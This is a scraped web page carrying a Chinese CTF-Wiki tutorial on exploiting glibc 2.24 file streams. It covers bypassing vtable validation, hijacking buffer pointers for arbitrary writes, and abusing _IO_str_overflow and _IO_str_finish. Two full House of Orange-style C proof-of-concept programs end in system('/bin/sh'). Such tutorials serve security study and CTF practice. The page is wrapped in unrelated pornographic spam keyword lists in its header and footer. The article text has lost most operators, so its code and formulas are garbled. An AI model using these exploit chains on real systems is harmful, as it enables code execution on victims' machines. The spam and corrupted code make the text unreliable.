日韩精品一区二区三区在线视频放-无码中文字幕V?一区二区-成年片免费观看视频-国内少妇人妻丰满av-国产精品中文字幕免费观看-亚洲成人久久一区二区三区-国内少妇偷人精品视频无缓冲-一区二区国产精品日本一区二区三区在线网

ARTICLE DETAIL

資訊詳情

深耕商務(wù)建站與企業(yè)官網(wǎng)運營的一線實戰(zhàn)洞察。

CTF-Wiki:glibc 2.24 下 IO_FILE 利用進階——vtable 校驗、緩衝區(qū)劫持與 `_IO_str_jumps` 實戰(zhàn)

CTF-Wiki:glibc 2.24 下 IO_FILE 利用進階——vtable 校驗、緩衝區(qū)劫持與 `_IO_str_jumps` 實戰(zhàn) 文檔網(wǎng)絡(luò)安全教程【免費下載鏈接】ctf-wikiCome and join us, we need you!項目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki點擊查看免費下載本文基於 CTF-Wiki 的 glibc 2.24 下 IO_FILE 的利用 一文展開系統(tǒng)梳理 glibc 2.24 新增的 vtable 合法性校驗機制IO_validate_vtable/_IO_vtable_check以及校驗引入後誕生的三類新型利用手法透過_IO_buf_base/_IO_buf_end實現(xiàn)任意讀寫、借助_IO_str_jumps的overflow與finish兩個函數(shù)完成 getshell。讀者讀完可掌握在 libc 2.242.27 時期針對_IO_FILE的完整攻擊鏈設(shè)計思路並能直接複現(xiàn)文中提供的可調(diào)試樣例。背景為什麼 glibc 2.24 之後「偽造 vtable」變難了在 glibc 2.24 之前的版本如 2.23針對_IO_FILE_plus的 vtable 劫持是檔案流攻擊的主流手法要麼直接改寫 vtable 中的函數(shù)指針要麼把 vtable 指針改指向我們可控的內(nèi)存並在其中佈置函數(shù)指針詳見 偽造 vtable 劫持程序流程。glibc 2.24 為了遏制這類攻擊在呼叫虛函數(shù)如overflow、xsputn、finish等之前新增了一道 vtable 地址合法性檢查。快路徑IO_validate_vtableglibc 在libio/vtables.c中引入IO_validate_vtable內(nèi)聯(lián)函數(shù)核心邏輯是判斷 vtable 指針是否落在__libc_IO_vtables段內(nèi)/* Check if unknown vtable pointers are permitted; otherwise, terminate the process. */ void _IO_vtable_check (void) attribute_hidden; /* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr (uintptr_t) vtable; uintptr_t offset ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; }校驗過程可以拆解為三步計算section_length __stop___libc_IO_vtables - __start___libc_IO_vtables即__libc_IO_vtables段的總長度計算offset vtable - __start___libc_IO_vtables若offset section_length即 vtable 不在合法段內(nèi)呼叫慢路徑_IO_vtable_check()做進一步判斷。慢路徑_IO_vtable_checkvoid attribute_hidden _IO_vtable_check (void) { #ifdef SHARED /* Honor the compatibility flag. */ void (*flag) (void) atomic_load_relaxed (IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag _IO_vtable_check) return; /* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; struct link_map *l; if (_dl_open_hook ! NULL || (_dl_addr (_IO_vtable_check, di, l, NULL) ! 0 l-l_ns ! LM_ID_BASE)) return; } #else /* !SHARED */ /* We cannot perform vtable validation in the static dlopen case because FILE * handles might be passed back and forth across the boundary. Therefore, we disable checking in this case. */ if (__dlopen ! NULL) return; #endif __libc_fatal (Fatal error: glibc detected an invalid stdio handle\n); }慢路徑允許 vtable 通過的例外情況僅限於幾種「兼容場景」動態(tài)連結(jié)下若IO_accept_foreign_vtables這個兼容標(biāo)誌被設(shè)置且經(jīng)過PTR_DEMANGLE後等於_IO_vtable_check自身當(dāng)前 libc 拷貝位於非默認命名空間l-l_ns ! LM_ID_BASE因為 FILE 對象可能跨連結(jié)邊界傳遞靜態(tài)連結(jié)場景下若__dlopen ! NULL靜態(tài) dlopen 無法校驗。其餘情況一律呼叫__libc_fatal輸出Fatal error: glibc detected an invalid stdio handle並觸發(fā) abort。換句話說只要 vtable 不是位於__libc_IO_vtables段內(nèi)、又不滿足上述兼容例外程序就會直接終止。這使得以往「把 vtable 指向堆上偽造內(nèi)存」的利用方式基本被封死。新的利用思路從 vtable 轉(zhuǎn)向_IO_FILE內(nèi)部欄位vtable 這條路難走之後利用者的注意力自然轉(zhuǎn)向了_IO_FILE結(jié)構(gòu)體本身的數(shù)據(jù)域?;仡?FILE 結(jié)構(gòu) 中的定義64 位元偏移見註釋struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ // 0x00 /* The following pointers correspond to the C streambuf protocol. */ char* _IO_read_ptr; /* Current read pointer */ // 0x08 char* _IO_read_end; /* End of get area. */ // 0x10 char* _IO_read_base; /* Start of putbackget area. */ // 0x18 char* _IO_write_base; /* Start of put area. */ // 0x20 char* _IO_write_ptr; /* Current put pointer. */ // 0x28 char* _IO_write_end; /* End of put area. */ // 0x30 char* _IO_buf_base; /* Start of reserve area. */ // 0x38 char* _IO_buf_end; /* End of reserve area. */ // 0x40 /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ // 0x48 char *_IO_backup_base; /* Pointer to first valid character of backup area */ // 0x50 char *_IO_save_end; /* Pointer to end of non-current get area. */ // 0x58 struct _IO_marker *_markers; // 0x60 struct _IO_FILE *_chain; // 0x68 int _fileno; // 0x70 int _flags2; // 0x74 _IO_off_t _old_offset; /* This used to be _offset but its too small. */ // 0x78 };_IO_FILE在使用標(biāo)準(zhǔn) I/O 庫時會被建立並維護上述信息其中_IO_write_base_IO_write_end表示寫入?yún)^(qū)域_IO_read_ptr_IO_read_end表示讀取區(qū)域而_IO_buf_base表示緩衝操作的起始地址、_IO_buf_end表示結(jié)束地址。這些欄位正是fwrite、fread、scanf、printf等函數(shù)在讀寫數(shù)據(jù)時實際使用的地址——只要控制了它們就能實現(xiàn)任意地址寫或任意地址讀。這裡有一個對利用者非常有利的事實進程啟動時系統(tǒng)默認存在三個文件流stdin、stdout、stderr它們位於 libc.so 的數(shù)據(jù)段對應(yīng)符號_IO_2_1_stdin_、_IO_2_1_stdout_、_IO_2_1_stderr_因此即使程序中沒有任何顯式的文件操作沒有fopen、fwrite只要程序中存在scanf/printf同樣可以觸發(fā)對這些預(yù)設(shè)流結(jié)構(gòu)的處理並完成利用。實戰(zhàn)一透過_IO_buf_base/_IO_buf_end實現(xiàn)任意讀寫觀察scanf對_IO_2_1_stdin_的影響先看一個最簡單的樣例程序觀察標(biāo)準(zhǔn)輸入流在第一次使用前後的變化#include stdio.h char buf[100]; int main() { char stack_buf[100]; scanf(%s,stack_buf); scanf(%s,stack_buf); }首次使用stdin之前_IO_2_1_stdin_的內(nèi)容除_flags與_fileno外幾乎全為空0x7ffff7dd18e0 _IO_2_1_stdin_: 0x00000000fbad2088 0x0000000000000000 0x7ffff7dd18f0 _IO_2_1_stdin_16: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1900 _IO_2_1_stdin_32: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1910 _IO_2_1_stdin_48: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1920 _IO_2_1_stdin_64: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1930 _IO_2_1_stdin_80: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 _IO_2_1_stdin_96: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 _IO_2_1_stdin_112: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 _IO_2_1_stdin_128: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 _IO_2_1_stdin_144: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 _IO_2_1_stdin_160: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 _IO_2_1_stdin_176: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 _IO_2_1_stdin_192: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19b0 _IO_2_1_stdin_208: 0x0000000000000000 0x00007ffff7dd06e0 vtable注意最後一個 8 位元組0x7ffff7dd06e0就是_IO_FILE_plus的vtable 指針偏移 0xd8。呼叫scanf之後_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end等欄位都被初始化0x7ffff7dd18e0 _IO_2_1_stdin_: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 _IO_2_1_stdin_16: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 _IO_2_1_stdin_32: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 _IO_2_1_stdin_48: 0x0000000000602010 0x0000000000602410 0x7ffff7dd1920 _IO_2_1_stdin_64: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1930 _IO_2_1_stdin_80: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 _IO_2_1_stdin_96: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 _IO_2_1_stdin_112: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 _IO_2_1_stdin_128: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 _IO_2_1_stdin_144: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 _IO_2_1_stdin_160: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 _IO_2_1_stdin_176: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 _IO_2_1_stdin_192: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19b0 _IO_2_1_stdin_208: 0x0000000000000000 0x00007ffff7dd06e0對照結(jié)構(gòu)定義初始化後各欄位與偏移的對應(yīng)關(guān)係如下偏移欄位初始化後的值0x00_flags0xfbad22880x08_IO_read_ptr0x6020130x10_IO_read_end0x6020140x18_IO_read_base0x6020100x20_IO_write_base0x6020100x28_IO_write_ptr0x6020100x30_IO_write_end0x6020100x38_IO_buf_base0x6020100x40_IO_buf_end0x6024100xd8vtable0x7ffff7dd06e0進一步思考可以發(fā)現(xiàn)stdin 的緩衝區(qū)其實是在堆上分配的。從程序的內(nèi)存映射可以看出堆基址是0x602000因為在此之前沒有其他堆分配所以緩衝區(qū)首地址正好是0x602010Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/1/t1 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/1/t1 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/1/t1 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]分配的堆大小為0x400位元組正好對應(yīng)_IO_buf_base0x602010到_IO_buf_end0x602410的區(qū)間。寫入數(shù)據(jù)後可以看到緩衝區(qū)中存在我們寫入的內(nèi)容之後才被複製到目標(biāo)棧緩衝區(qū)0x602000: 0x0000000000000000 0x0000000000000411 分配0x400大小 0x602010: 0x000000000a333231 0x0000000000000000 緩衝數(shù)據(jù) 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000修改_IO_buf_base/_IO_buf_end實現(xiàn)任意寫既然scanf的讀入數(shù)據(jù)會寫入_IO_buf_base指向的位置那麼只要把_IO_buf_base與_IO_buf_end改成我們想要的目標(biāo)地址下一次scanf就會把數(shù)據(jù)寫到任意位置。例如把這兩個欄位改成全局緩衝區(qū)buf地址0x7ffff7dd27400x7ffff7dd18e0 _IO_2_1_stdin_: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 _IO_2_1_stdin_16: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 _IO_2_1_stdin_32: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 _IO_2_1_stdin_48: 0x0000000000602010 0x00007ffff7dd2740 _IO_buf_base 0x7ffff7dd1920 _IO_2_1_stdin_64: 0x00007ffff7dd27c0 0x0000000000000000 _IO_buf_end之後scanf讀入的數(shù)據(jù)就會寫入0x7ffff7dd2740位置0x7ffff7dd2740 buf: 0x00000a6161616161 0x0000000000000000 0x7ffff7dd2750 buffer: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2760 buffer: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2770 buffer: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2780 buffer: 0x0000000000000000 0x0000000000000000由此可見只要具備對_IO_2_1_stdin_或任意目標(biāo)流的_IO_FILE結(jié)構(gòu)的讀寫能力配合一次scanf即可完成一次任意地址寫。同理控制_IO_read_ptr/_IO_read_end等讀取欄位並配合printf/fread也可實現(xiàn)任意地址讀。這種思路不需要碰 vtable完全繞開了 glibc 2.24 的 vtable 校驗。實戰(zhàn)二_IO_str_jumps-overflow除了默認的_IO_file_jumpslibc 中還存在另一個 vtable_IO_str_jumps。關(guān)鍵在於_IO_str_jumps位於__libc_IO_vtables段內(nèi)其定義帶有l(wèi)ibio_vtable屬性因此在 glibc 2.24 的校驗中可以被正常通過——這正是繞過 vtable 校驗的切入點const struct _IO_jump_t _IO_str_jumps libio_vtable { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };如果我們能把文件指針的 vtable 設(shè)置為_IO_str_jumps就能呼叫到一組不同的檔案操作函數(shù)。以_IO_str_overflow為例其源碼如下int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only c EOF; _IO_size_t pos; if (fp-_flags _IO_NO_WRITES)// pass return flush_only ? 0 : EOF; if ((fp-_flags _IO_TIED_PUT_GET) !(fp-_flags _IO_CURRENTLY_PUTTING)) { fp-_flags | _IO_CURRENTLY_PUTTING; fp-_IO_write_ptr fp-_IO_read_ptr; fp-_IO_read_ptr fp-_IO_read_end; } pos fp-_IO_write_ptr - fp-_IO_write_base; if (pos (_IO_size_t) (_IO_blen (fp) flush_only))// should in { if (fp-_flags _IO_USER_BUF) /* not allowed to enlarge */ // pass return EOF; else { char *new_buf; char *old_buf fp-_IO_buf_base; size_t old_blen _IO_blen (fp); _IO_size_t new_size 2 * old_blen 100; if (new_size old_blen)//pass 一般會通過 return EOF; new_buf (char *) (*((_IO_strfile *) fp)-_s._allocate_buffer) (new_size);//target [fp0xe0] if (new_buf NULL) { /* __ferror(fp) 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)-_s._free_buffer) (old_buf); /* Make sure _IO_setb wont try to delete _IO_buf_base. */ fp-_IO_buf_base NULL; } memset (new_buf old_blen, \0, new_size - old_blen); _IO_setb (fp, new_buf, new_buf new_size, 1); fp-_IO_read_base new_buf (fp-_IO_read_base - old_buf); fp-_IO_read_ptr new_buf (fp-_IO_read_ptr - old_buf); fp-_IO_read_end new_buf (fp-_IO_read_end - old_buf); fp-_IO_write_ptr new_buf (fp-_IO_write_ptr - old_buf); fp-_IO_write_base new_buf; fp-_IO_write_end fp-_IO_buf_end; } } if (!flush_only) *fp-_IO_write_ptr (unsigned char) c; if (fp-_IO_write_ptr fp-_IO_read_end) fp-_IO_read_end fp-_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow)劫持點分析_IO_str_overflow中真正能劫持程序流程的是這一行new_buf (char *) (*((_IO_strfile *) fp)-_s._allocate_buffer) (new_size);_IO_strfile結(jié)構(gòu)在_IO_FILE_plus含 vtable之後緊跟_IO_strfields其中_allocate_buffer位於fp 0xe0即 vtable 偏移 0xd8 之後的第一個 8 位元組槽位。也就是說只要fp 0xe0指向的函數(shù)指針可控就能以new_size為參數(shù)呼叫任意函數(shù)。再配合new_size 2 * old_blen 100 2 * (_IO_buf_end - _IO_buf_base) 100這個公式若令_IO_buf_base 0、_IO_buf_end (binsh_addr - 100) / 2則new_size恰好等於/bin/sh字符串的地址呼叫system時參數(shù)正好是/bin/sh。需要 bypass 的條件要進入_allocate_buffer呼叫分支需要滿足以下條件fp-_flags _IO_NO_WRITES為假pos fp-_IO_write_ptr - fp-_IO_write_base fp-_IO_buf_end - fp-_IO_buf_base flush_onlyflush_only在c EOF時為 1fp-_flags _IO_USER_BUF0x01為假否則直接返回 EOF不會進入擴充分支new_size 2 * (_IO_buf_end - _IO_buf_base) 100不能為負數(shù)new_size應(yīng)指向/bin/sh字符串對應(yīng)的地址fp 0xe0指向system地址。構(gòu)造佈局滿足上述條件的典型構(gòu)造如下64 位元_flags 0 _IO_write_base 0 _IO_write_ptr (binsh_in_libc_addr - 100) / 2 1 _IO_buf_end (binsh_in_libc_addr - 100) / 2 _freeres_list 0x2 _freeres_buf 0x3 _mode -1 vtable _IO_str_jumps - 0x18其中vtable _IO_str_jumps - 0x18是關(guān)鍵技巧overflow在_IO_jump_t中位於第 4 項偏移 0x18把 vtable 指針寫成_IO_str_jumps - 0x18既保證了「vtable 0x18」精確落在_IO_str_jumps的overflow槽位呼叫到合法的_IO_str_overflow又讓整體指針仍位於__libc_IO_vtables段附近、可通過IO_validate_vtable的快路徑校驗。_freeres_list、_freeres_buf、_mode的設(shè)置是為了讓後續(xù)的 abort / exit 清理流程不會在別處崩潰。完整示例改編自 how2heap 的 House of Orange#include stdio.h #include stdlib.h #include string.h int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 malloc(0x400-16); top (size_t *) ( (char *) p1 0x400 - 16); top[1] 0xc01; p2 malloc(0x1000); io_list_all top[2] 0x9a8; top[3] io_list_all - 0x10; // _IO_str_overflow conditions char binsh_in_libc[] /bin/sh\x00; // we can found /bin/sh in libc, here i create it in stack // top[0] ~1; // top[0] ~8; top[0] 0; top[4] 0; // write_base top[5] ((size_t)binsh_in_libc-100)/2 1; // write_ptr top[7] 0; // buf_base top[8] top[5] - 1; // buf_end // house_of_orange conditions top[1] 0x61; top[20] (size_t) top[18]; top[21] 2; top[22] 3; top[24] -1; top[27] (size_t)stdin - 0x3868-0x18; // _IO_str_jumps地址 top[28] (size_t) winner; /* Finally, trigger the whole chain by calling malloc */ malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; }配合 House of Orange 中介紹的 unsorted bin attack可以把_IO_list_all改寫為指向偽造的_IO_FILE即top所在內(nèi)存。觸發(fā)malloc(10)後unsorted bin 中殘留的舊 top chunk 會被切割進程走完後續(xù)流程時對偽造_IO_FILE的處理會命中_IO_str_overflow最終winner(/bin/sh)即system(/bin/sh)完成 getshell。其中top[27]對應(yīng) vtable 欄位偏移 0xd8top[28]對應(yīng)_allocate_buffer偏移 0xe0。House of Pig 中的典型應(yīng)用House of Pig 是將Tcache Stash Unlink Attack與 FSOP 結(jié)合的攻擊適用於 libc 2.31 及以後、程序中僅有calloc的場景詳見 House of Pig其核心觸發(fā)函數(shù)正是_IO_str_overflow?;仡檁IO_str_overflow中滿足下列條件時會執(zhí)行的代碼段pos fp-_IO_write_ptr - fp-_IO_write_base; if (pos (size_t) (_IO_blen (fp) flush_only))一旦條件成立會先後執(zhí)行三個操作size_t old_blen _IO_blen (fp); // #define _IO_blen (fp) ((fp)-_IO_buf_end - (fp)-_IO_buf_base) new_buf malloc (new_size); memcpy (new_buf, old_buf, old_blen); free (old_buf);偽造_IO_FILE並把 vtable 劫持為_IO_str_jumps再通過一次 large bin attack 就可以輕鬆滿足上述三個語句的執(zhí)行條件更關(guān)鍵的是這三個語句中的new_size、old_buf、old_blen全部是我們可控的因此這個函數(shù)可以一口氣完成三步呼叫malloc實現(xiàn)從 tcache 中分配 chunk把先前放入的__free_hookfake chunk 申請出來呼叫memcpy將一段可控長度、可控內(nèi)容的內(nèi)存段拷貝到 malloc 得到的 chunk 中可藉此把__free_hook修改為system呼叫free參數(shù)為內(nèi)存段起始地址/bin/sh\x00觸發(fā)system(/bin/sh)getshell。也就是說只要構(gòu)造得當(dāng)執(zhí)行一次_IO_str_overflow即可 getshell。House of Pig 的完整利用腳本含 fake_IO_FILE佈局與 large bin attack 的兩次使用可以在 House of Pig 一節(jié)中查看。實戰(zhàn)三_IO_str_jumps-finish_IO_str_finish的原理與_IO_str_overflow類似都是利用_IO_strfile擴展區(qū)域中的函數(shù)指針完成劫持。其源碼如下void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp-_IO_buf_base !(fp-_flags _IO_USER_BUF)) (((_IO_strfile *) fp)-_s._free_buffer) (fp-_IO_buf_base); //[fp0xe8] fp-_IO_buf_base NULL; _IO_default_finish (fp, 0); }劫持點與條件劫持點是_free_buffer位於fp 0xe8呼叫時以fp-_IO_buf_base為參數(shù)。需要滿足的條件_IO_buf_base不為空_flags _IO_USER_BUF0x01為假。構(gòu)造佈局_flags (binsh_in_libc 0x10) ~1 _IO_buf_base binsh_addr _freeres_list 0x2 _freeres_buf 0x3 _mode -1 vtable _IO_str_finish - 0x18 fp0xe8 - system_addr完整示例同樣是改編自 how2heap House of Orange 的代碼可以自己動手調(diào)試#include stdio.h #include stdlib.h #include string.h int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 malloc(0x400-16); top (size_t *) ( (char *) p1 0x400 - 16); top[1] 0xc01; p2 malloc(0x1000); io_list_all top[2] 0x9a8; top[3] io_list_all - 0x10; // _IO_str_finish conditions char binsh_in_libc[] /bin/sh\x00; // we can found /bin/sh in libc, here i create it in stack top[0] ((size_t) binsh_in_libc 0x10) ~1; top[7] ((size_t)binsh_in_libc); // buf_base // house_of_orange conditions top[1] 0x61; top[5] 0x1 ; //_IO_write_ptr top[20] (size_t) top[18]; top[21] 2; top[22] 3; top[24] -1; top[27] (size_t) stdin - 0x33f0 - 0x18; top[29] (size_t) winner; top[30] (size_t) top[30]; malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; }注意此例中top[29]對應(yīng)_free_buffer偏移 0xe8而_flags被設(shè)置為(binsh_in_libc 0x10) ~1目的是在滿足_IO_USER_BUF為假的前提下讓_free_buffer的參數(shù)_IO_buf_base保持為/bin/sh地址。finish函數(shù)通常在進程退出清理fclose/exit流程時被呼叫。觸發(fā)機制補充FSOP 與_IO_flush_all_lockp上面兩類_IO_str_jumps攻擊都需要讓程序?qū)卧斓腳IO_FILE執(zhí)行一次「刷新」或「關(guān)閉」操作才能觸發(fā)對應(yīng)的 vtable 函數(shù)。這正是 FSOP 的應(yīng)用場景所有_IO_FILE通過_chain域組成鏈表鏈表頭由全局變量_IO_list_all維護FSOP 的核心就是劫持_IO_list_all指向偽造的_IO_FILE然後藉助_IO_flush_all_lockp對鏈表中的每個 FILE 執(zhí)行fflush操作對應(yīng)呼叫 vtable 中的_IO_overflow。_IO_flush_all_lockp並不需要攻擊者手動呼叫在以下三種情況會被系統(tǒng)自動觸發(fā)libc 執(zhí)行 abort 流程時執(zhí)行exit函數(shù)時執(zhí)行流從main函數(shù)返回時。如上圖所示當(dāng) glibc 檢測到內(nèi)存損壞例如malloc_printerr進入 abort 流程時_IO_flush_all_lockp會沿_IO_list_all鏈表遍歷並透過JUMP_FIELD(_IO_overflow_t, __overflow)呼叫每個 FILE 的overflow——這正是偽造的 vtable 指向_IO_str_overflow後能被自動觸發(fā)的底層鏈路。House of Orange 示例中最後的malloc(10)之所以能引爆整條鏈就是因為大 chunk 申請觸發(fā)了錯誤路徑並最終進入上述 abort 清理流程??偨Y(jié)與延伸閱讀glibc 2.24 的 vtable 校驗機制本質(zhì)上是把「vtable 指針必須指向合法段」作為新的邊界但這並沒有終結(jié) IO_FILE 攻擊而是把攻擊面推向了_IO_FILE結(jié)構(gòu)本身與合法 vtable 內(nèi)部的「危險函數(shù)」不碰 vtable 的思路直接控制_IO_buf_base/_IO_buf_end等緩衝區(qū)欄位配合scanf/printf完成任意讀寫利用合法 vtable 的思路把 vtable 指針偽裝成_IO_str_jumps - 0x18讓呼叫落在_IO_str_overflow或_IO_str_finish上藉助_IO_strfile擴展區(qū)域中可控的_allocate_bufferfp0xe0/_free_bufferfp0xe8完成 RCE觸發(fā)方式_IO_str_overflow的三段式malloc → memcpy → free甚至可以配合 tcache / large bin attack 直接改寫__free_hook完成 getshell。相關(guān)的基礎(chǔ)知識與完整利用案例可繼續(xù)閱讀本倉庫的以下章節(jié)FILE 結(jié)構(gòu)_IO_FILE/_IO_FILE_plus結(jié)構(gòu)與fread、fwrite、fopen、fclose的底層呼叫鏈偽造 vtable 劫持程序流程glibc 2.23 時代的 vtable 劫持手法與 2018 HCTF the_end 實戰(zhàn)FSOP_IO_list_all偽造與_IO_flush_all_lockp觸發(fā)機制House of Orange無 free 情況下獲得 unsorted bin 的基礎(chǔ)堆技巧House of Pig_IO_str_overflow在 libc 2.31 下的完整利用流程與腳本。贊分享文檔網(wǎng)絡(luò)安全教程【免費下載鏈接】ctf-wikiCome and join us, we need you!項目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki點擊查看免費下載相關(guān)推薦Starship 進階安裝完全指南Chocolatey、Termux、Funtoo 與 Nix 平臺安裝實戰(zhàn)Starship 進階安裝完全指南Chocolatey、Termux、Funtoo 與 Nix 平臺安裝實戰(zhàn) Starship 是一款以 Rust 撰寫、適用CLI開發(fā)工具用 FastGPT 從零搭建智能采購系統(tǒng)供應(yīng)商評估、動態(tài)比價與價格預(yù)警實操教程用 FastGPT 從零搭建智能采購系統(tǒng)供應(yīng)商評估、動態(tài)比價與價格預(yù)警實操教程 某個周三上午采購專員小林收到三家供應(yīng)商發(fā)來的同一批物料的報價格式各不相同文檔網(wǎng)絡(luò)安全教程PAR Technology 開發(fā)者門戶遷移實戰(zhàn)Scalar 如何支撐一個基于 OpenAPI 與 docs-as-code 的企業(yè)級 API 平臺PAR Technology 開發(fā)者門戶遷移實戰(zhàn)Scalar 如何支撐一個基于 OpenAPI 與 docs as code 的企業(yè)級 API 平臺 本文以文檔網(wǎng)絡(luò)安全教程上一篇Sigma File Manager終極下載指南從網(wǎng)絡(luò)視頻到本地存儲的完整流程下一篇零代碼打造真實世界用Arnis在Minecraft中重建你的城市夢想創(chuàng)作聲明:本文部分內(nèi)容由AI輔助生成(AIGC),僅供參考
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
婷婷性网| 欧美一二三区四五区| 久操av在线| 久久99综合| 精品久久久av无码免费| 欧美在线 亚洲| 影音先锋中文字幕日本好一区二区| 600国产精品视频| 99亚洲人人| 毛片电影一区二区三区| 欧美日韩大黄片| 精品人妻一区二区免费看| 色综合网1| 2019天天干| 欧美综合色综合| 久久只有精品一区二区三区| 婷婷六月天| 国产女人和拘做爰视频| 91香蕉视频在线观看免费| 久久宗合97| 欧美综合网1| 精品人妻一区二区三区-国产| 国产精品熟女丝袜一区二区| 欧美日韩不卡a片| 97欧美日韩综合| 嗯嗯啊啊好大好爽| 精品性爱久久视频| 人妻精品综合中文字幕在线| 大香蕉男女超碰精品在线| 郑州宾馆老熟女露脸啪啪| 热思思免费视频| 美女诱惑久久| 91视频在线观看18| 久操国产在线| 亚洲高清欧美总合| 资源新线在线天堂| 我想要 啊 啊 啊| 中文熟女五十乱码在线| 亚洲涩涩| 亚洲综人网| 高清不卡视频| 色吧91| 亚洲一区二区三区播放在线| 日韩美女久久一区二区三区| 超碰色美女| 成人在线视频一区| 九九亚洲| 野狼激情网| 国产av青草| 丁香六月婷婷久久综合| 1204av韩国| 99蜜桃臀久久久欧美精品网站| 厕所偷拍在线| 欧美超碰96| 中文字幕制服欧美久久一区| 亚洲少妇色图自慰直播| 超碰97COm中文| 日韩亚洲欧美中文字幕| 岛国激情视频在线观看| jizzjizz欧美| 欧美日韩黄片精品在线| 欧美日韩国产黄色片| 新久久AV| 色婷婷五月天| www.高清无码诱惑一区.com| 国产精品无套内谢| 欧美三级中文字幕hd| 国产精品免费美女视频| 亚洲成av人片色午夜乱码| 在线性黄高清免费视频| ,国产乱人伦精品一区二区三区| 国产精品国产自产拍高清AV| 亚洲自拍欧美国产首页网曝| x97av| 97国产精品久久久久| 精品久久大胆人体| 羞涩视频| 久久艹逼视频| 厕所偷拍在线| 欧美黑人极品高潮喷吹熟女黑人性暴力日韩在线欧美极品一区二区老师 | 久操在97| 日韩无码第3页| 免费a v| 翔田千里无码中出中文字幕| 国产一级αv免费看片| 乱伦一二三区| 99操视频| 超碰 av 女人天堂| 欧美性生活男人的天堂| 东京日日夜夜| 亚洲色图欧美色图制服诱惑| 欧差乱伦二三| 欧美色五月| 欧美狠狠操| 伊人伊人LD| 免费一级精品啪啪视频| av天堂手机版追回| 玖玖资源中文字幕制服丝袜| 久九九九九九九九热| 秋霞 色色| 老司机射| 麻豆区99999| 高清无码学生妹高潮| 国产午夜福利电影免费在线观看 | 久久久久久中文| 91在线视频国产网站| 黄色网址在线免费观看| 狠插 制服 自拍| 欧美综合另类| 啪啪综合网| α√在线| 97玖玖人妻| 欧美日韩 强奸乱伦| 